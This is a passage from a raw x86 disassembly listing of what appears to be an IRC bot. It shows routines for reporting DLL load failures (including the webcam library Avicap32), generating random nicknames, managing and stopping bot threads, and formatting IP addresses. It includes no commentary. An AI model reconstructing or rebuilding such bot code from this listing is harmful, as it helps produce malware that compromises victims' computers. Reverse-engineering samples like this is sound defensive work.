push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A94E: ; CODE XREF: sub_40A7CE+152j
cmp dword_4CB71C, esi
jz short loc_40A982
push dword_4CB720
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A982: ; CODE XREF: sub_40A7CE+186j
cmp dword_4CB724, esi
jz short loc_40A9B6
push dword_4CB728
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj
cmp dword_4CB72C, esi
jz short loc_40A9EA
push dword_4CB730
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj
cmp dword_4CB734, esi
jz short loc_40AA1E
push dword_4CB738
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA1E: ; CODE XREF: sub_40A7CE+222j
cmp dword_4CB73C, esi
jz short loc_40AA52
push dword_4CB740
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA52: ; CODE XREF: sub_40A7CE+256j
cmp dword_4CB744, esi
jz short loc_40AA86
push dword_4CB748
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj
cmp dword_4CB74C, esi
jz short loc_40AABA
push dword_4CB750
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj
lea eax, [ebp+var_200]
push offset unk_42D9F4
push eax
call sub_41B886
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AAE7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40AAE7: ; CODE XREF: sub_40A7CE+302j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A7CE endp
; =============== S U B R O U T I N E =======================================
sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5C95p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB664
cmp eax, 0FFFFFFFFh
jnz short locret_40AB21
push [esp+arg_0]
call dword_4CB6A8
test eax, eax
jnz short loc_40AB1A
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AB21: ; CODE XREF: sub_40AAF9+Dj
retn
sub_40AAF9 endp
; =============== S U B R O U T I N E =======================================
sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB540
xor eax, eax
test ecx, ecx
jz short locret_40AB30
call ecx
locret_40AB30: ; CODE XREF: sub_40AB22+Aj
retn
sub_40AB22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CB6A0
mov ecx, eax
sub ecx, edi
jz loc_40ABF7
sub ecx, 32h
jz loc_40ABF0
sub ecx, 48h
jz short loc_40AB91
sub ecx, 6Eh
jz short loc_40AB8A
loc_40AB73: ; CODE XREF: sub_40AB31+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42DC08
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40ABD1
; ---------------------------------------------------------------------------
loc_40AB8A: ; CODE XREF: sub_40AB31+40j
push offset unk_42DBE4
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40AB91: ; CODE XREF: sub_40AB31+3Bj
push [ebp+var_8]
call sub_41B4D5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B590
add esp, 10h
cmp esi, edi
jz short loc_40ABBE
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CB6A0
cmp eax, edi
jz short loc_40ABF7
jmp short loc_40AB73
; ---------------------------------------------------------------------------
loc_40ABBE: ; CODE XREF: sub_40AB31+79j
push offset unk_42DBB4
loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej
; sub_40AB31+C4j
lea eax, [ebp+var_88]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40ABD1: ; CODE XREF: sub_40AB31+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4151AC
pop ecx
loc_40ABE1: ; CODE XREF: sub_40AB31+C8j
; sub_40AB31+DCj
push esi
call sub_41B0B1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ABF0: ; CODE XREF: sub_40AB31+32j
push offset unk_42DB84
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40ABF7: ; CODE XREF: sub_40AB31+29j
; sub_40AB31+89j
cmp [esi], edi
jbe short loc_40ABE1
lea ebx, [esi+4]
loc_40ABFE: ; CODE XREF: sub_40AB31+DAj
push ebx
call dword_4CB69C
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ABFE
jmp short loc_40ABE1
sub_40AB31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p
; sub_401ACD+2398p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB5C8
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CB754
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41B886
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AC0F endp
; =============== S U B R O U T I N E =======================================
sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp
; sub_412B08+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AC91
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AC84: ; CODE XREF: sub_40AC68+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AC84
pop edi
jmp short loc_40AC95
; ---------------------------------------------------------------------------
loc_40AC91: ; CODE XREF: sub_40AC68+Aj
mov edx, [esp+4+arg_0]
loc_40AC95: ; CODE XREF: sub_40AC68+27j
test esi, esi
pop esi
jz short loc_40AC9F
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AC9F: ; CODE XREF: sub_40AC68+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AC68 endp
; =============== S U B R O U T I N E =======================================
sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p
; DATA XREF: ___:off_42DC50o
arg_0 = dword ptr 4
push esi
push edi
call near ptr 2830E52h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42DCB8[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD1D
loc_40ACF7: ; CODE XREF: sub_40ACB5+66j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB24
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACF7
loc_40AD1D: ; CODE XREF: sub_40ACB5+40j
mov eax, edi
pop edi
pop esi
retn
sub_40ACB5 endp
; ---------------------------------------------------------------------------
dw 5756h
db 90h
db 0E8h, 28h, 61h
; ---------------------------------------------------------------------------
inc edx
add dl, [eax-18h]
test al, 0Bh
add [eax], eax
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_429138 ; "-"
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD7B
loc_40AD55: ; CODE XREF: ___:0040AD79j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB24
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AD55
loc_40AD7B: ; CODE XREF: ___:0040AD53j
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call near ptr 2830E52h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ADC3
loc_40ADAD: ; CODE XREF: sub_40AD80+41j
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ADAD
loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AD80 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 2830E52h
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431910
push eax
push esi
nop
call near ptr 2860000h
movsx eax, byte_431910
push 41h
pop ecx
push 1
pop edx
loc_40AE09: ; CODE XREF: ___:0040AE14j
cmp eax, ecx
jnz short loc_40AE10
mov [ebp-4], edx
loc_40AE10: ; CODE XREF: ___:0040AE0Bj
inc ecx
cmp ecx, 5Bh
jl short loc_40AE09
push 61h
pop ecx
loc_40AE19: ; CODE XREF: ___:0040AE24j
cmp eax, ecx
jnz short loc_40AE20
mov [ebp-4], edx
loc_40AE20: ; CODE XREF: ___:0040AE1Bj
inc ecx
cmp ecx, 7Bh
jl short loc_40AE19
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AE65
loc_40AE3F: ; CODE XREF: ___:0040AE63j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB24
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE3F
loc_40AE65: ; CODE XREF: ___:0040AE3Dj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 2830E52h
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 2870000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_431914
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AEDA
loc_40AEB4: ; CODE XREF: ___:0040AED8j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB24
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AEB4
loc_40AEDA: ; CODE XREF: ___:0040AEB2j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_43D7D8
mov dword ptr [ebp-94h], 94h
nop
call near ptr 2880000h
call near ptr 2830E52h
nop
push eax
call sub_41B8D8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AF64
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF44
cmp dword ptr [ebp-84h], 1
jnz short loc_40AF34
mov esi, offset dword_43193C
loc_40AF34: ; CODE XREF: ___:0040AF2Dj
cmp dword ptr [ebp-84h], 2
jnz short loc_40AFA0
mov esi, offset dword_431938
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF44: ; CODE XREF: ___:0040AF24j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AF54
mov esi, offset dword_431934
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF54: ; CODE XREF: ___:0040AF4Bj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AF9B
mov esi, offset dword_431930
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF64: ; CODE XREF: ___:0040AF1Bj
cmp dword ptr [ebp-90h], 5
jnz short loc_40AF9B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF7D
mov esi, offset dword_43192C
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF7D: ; CODE XREF: ___:0040AF74j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AF8D
mov esi, offset dword_431928
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF8D: ; CODE XREF: ___:0040AF84j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431924
jz short loc_40AFA0
loc_40AF9B: ; CODE XREF: ___:0040AF5Bj
; ___:0040AF6Bj
mov esi, offset dword_431920
loc_40AFA0: ; CODE XREF: ___:0040AF3Bj
; ___:0040AF42j ...
mov edi, [ebp+8]
push esi
push offset dword_431918
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AFE4
loc_40AFBE: ; CODE XREF: ___:0040AFE2j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB24
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AFBE
loc_40AFE4: ; CODE XREF: ___:0040AFBCj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call near ptr 2830E52h
nop
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40B039
call dword_4CB630
test eax, eax
mov eax, offset dword_431948
jnz short loc_40B022
mov eax, offset dword_43D7D8
loc_40B022: ; CODE XREF: sub_40AFEA+31j
push eax
push esi
push offset dword_431940
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41B980
add esp, 14h
jmp short loc_40B059
; ---------------------------------------------------------------------------
loc_40B039: ; CODE XREF: sub_40AFEA+22j
call dword_4CB630
test eax, eax
mov eax, offset dword_431948
jnz short loc_40B04D
mov eax, offset dword_43D7D8
loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40B059: ; CODE XREF: sub_40AFEA+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41AFE0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B088
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C1E0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 18h
loc_40B088: ; CODE XREF: sub_40AFEA+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40AFEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42DC4C
loc_40B099: ; CODE XREF: sub_40B08D+3Fj
cmp [ebp+arg_C], 0
jz short loc_40B0B4
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C070
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B0BE
; ---------------------------------------------------------------------------
loc_40B0B4: ; CODE XREF: sub_40B08D+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B0BE: ; CODE XREF: sub_40B08D+25j
test eax, eax
jnz short loc_40B0D0
add esi, 14h
inc edi
cmp esi, offset off_42DCC4
jb short loc_40B099
jmp short loc_40B0DE
; ---------------------------------------------------------------------------
loc_40B0D0: ; CODE XREF: sub_40B08D+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42DC50[eax*4]
pop ecx
loc_40B0DE: ; CODE XREF: sub_40B08D+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B0F1
push [ebp+arg_0]
call sub_40AFEA
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B0F1: ; CODE XREF: sub_40B08D+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40B08D endp
; =============== S U B R O U T I N E =======================================
sub_40B0F6 proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E360
loc_40B0FE: ; CODE XREF: sub_40B0F6+18j
cmp byte ptr [eax], 0
jz short loc_40B112
add eax, 234h
inc edi
cmp eax, offset dword_4CB360
jl short loc_40B0FE
jmp short loc_40B15D
; ---------------------------------------------------------------------------
loc_40B112: ; CODE XREF: sub_40B0F6+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E360[esi]
push eax
call sub_41B5F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E560[esi], eax
and dword_43E564[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E568[esi], 0
mov dword_43E56C[esi], eax
and byte_43E578[esi], 0
pop esi
loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj
mov eax, edi
pop edi
retn
sub_40B0F6 endp
; ---------------------------------------------------------------------------
byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 90006A14h, 4757CCE8h, 555E5F02h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 431A48h, 0FF0C75FFh, 9FE80875h
dd 83FFFFE8h, 0FF3314C4h, 43E360BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0C85468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h
dd 234h, 60FE8147h, 7C004CB3h, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p
; sub_40B2BF+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B2B9
cmp esi, 400h
jge short loc_40B2B9
imul esi, 234h
push edi
push ebx
push dword_43E574[esi]
lea edi, dword_43E574[esi]
nop
call near ptr 2840000h
cmp [edi], ebx
jz short loc_40B269
push 1
pop ebp
loc_40B269: ; CODE XREF: sub_40B231+33j
mov [edi], ebx
lea edi, dword_43E568[esi]
mov dword_43E560[esi], ebx
mov dword_43E564[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B28A
push eax
call sub_4199C9
pop ecx
loc_40B28A: ; CODE XREF: sub_40B231+50j
mov [edi], ebx
lea edi, dword_43E56C[esi]
mov byte ptr dword_43E360[esi], bl
mov byte_43E578[esi], bl
push dword ptr [edi]
call dword_4CB6BC
lea esi, dword_43E570[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CB6BC
mov [esi], ebx
pop edi
loc_40B2B9: ; CODE XREF: sub_40B231+Dj
; sub_40B231+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B231 endp
; =============== S U B R O U T I N E =======================================
sub_40B2BF proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E360
loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj
cmp byte ptr [esi], 0
jz short loc_40B2DC
push edi
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B2DC
inc ebx
loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj
; sub_40B2BF+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB360
jl short loc_40B2CB
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B2BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep
; sub_401ACD+42E0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E564
loc_40B305: ; CODE XREF: sub_40B2F1+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B327
test edi, edi
jle short loc_40B319
cmp [esi], edi
jz short loc_40B319
cmp ebx, edi
jnz short loc_40B327
loc_40B319: ; CODE XREF: sub_40B2F1+1Ej
; sub_40B2F1+22j
push ebx
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B327
inc [ebp+var_4]
loc_40B327: ; CODE XREF: sub_40B2F1+1Aj
; sub_40B2F1+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB564
jl short loc_40B305
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F1 endp
; =============== S U B R O U T I N E =======================================
sub_40B33E proc near ; CODE XREF: ___:00401630p
; sub_401ACD+97Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E560
loc_40B345: ; CODE XREF: sub_40B33E+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B34E
inc eax
loc_40B34E: ; CODE XREF: sub_40B33E+Dj
add ecx, 234h
cmp ecx, offset dword_4CB560
jl short loc_40B345
retn
sub_40B33E endp
; =============== S U B R O U T I N E =======================================
sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E560
loc_40B367: ; CODE XREF: sub_40B35D+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B380
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB560
jl short loc_40B367
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B380: ; CODE XREF: sub_40B35D+10j
mov eax, edx
pop esi
retn
sub_40B35D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p
; sub_401ACD+126Cp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B39D
push [ebp+arg_1C]
call sub_41B779
pop ecx
loc_40B39D: ; CODE XREF: sub_40B384+Ej
push eax
push [ebp+arg_18]
call sub_40B2F1
pop ecx
test eax, eax
pop ecx
jle short loc_40B3C9
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41B886
add esp, 14h
jmp short loc_40B3E3
; ---------------------------------------------------------------------------
loc_40B3C9: ; CODE XREF: sub_40B384+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41B886
add esp, 10h
loc_40B3E3: ; CODE XREF: sub_40B384+43j
cmp [ebp+arg_C], 0
jnz short loc_40B403
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40B403: ; CODE XREF: sub_40B384+63j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
leave
retn
sub_40B384 endp
; =============== S U B R O U T I N E =======================================
sub_40B412 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BA47p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E574[eax], ecx
mov dword_43E560[eax], ecx
mov dword_43E564[eax], ecx
mov dword_43E568[eax], ecx
mov dword_43E56C[eax], ecx
mov dword_43E570[eax], ecx
mov byte ptr dword_43E360[eax], cl
mov byte_43E578[eax], cl
retn
sub_40B412 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp
; sub_40B57D+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B459: ; CODE XREF: sub_40B44F+68j
mov cl, [esi]
test cl, cl
jz short loc_40B4B9
cmp eax, 1
jnz short loc_40B4B9
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B4B9
cmp cl, 2Ah
jz short loc_40B4A0
cmp cl, 3Fh
jz short loc_40B483
cmp cl, 5Bh
jz short loc_40B488
xor eax, eax
cmp cl, dl
setz al
loc_40B483: ; CODE XREF: sub_40B44F+26j
inc [ebp+arg_4]
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B488: ; CODE XREF: sub_40B44F+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B4E5
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B4A0: ; CODE XREF: sub_40B44F+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B57D
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B4B3: ; CODE XREF: sub_40B44F+37j
; sub_40B44F+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B459
; ---------------------------------------------------------------------------
loc_40B4B9: ; CODE XREF: sub_40B44F+Ej
; sub_40B44F+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B4C9
cmp eax, 1
jnz short loc_40B4E0
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B4B9
; ---------------------------------------------------------------------------
loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj
cmp eax, 1
jnz short loc_40B4E0
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B4E0
cmp byte ptr [esi], 0
jnz short loc_40B4E0
push 1
pop eax
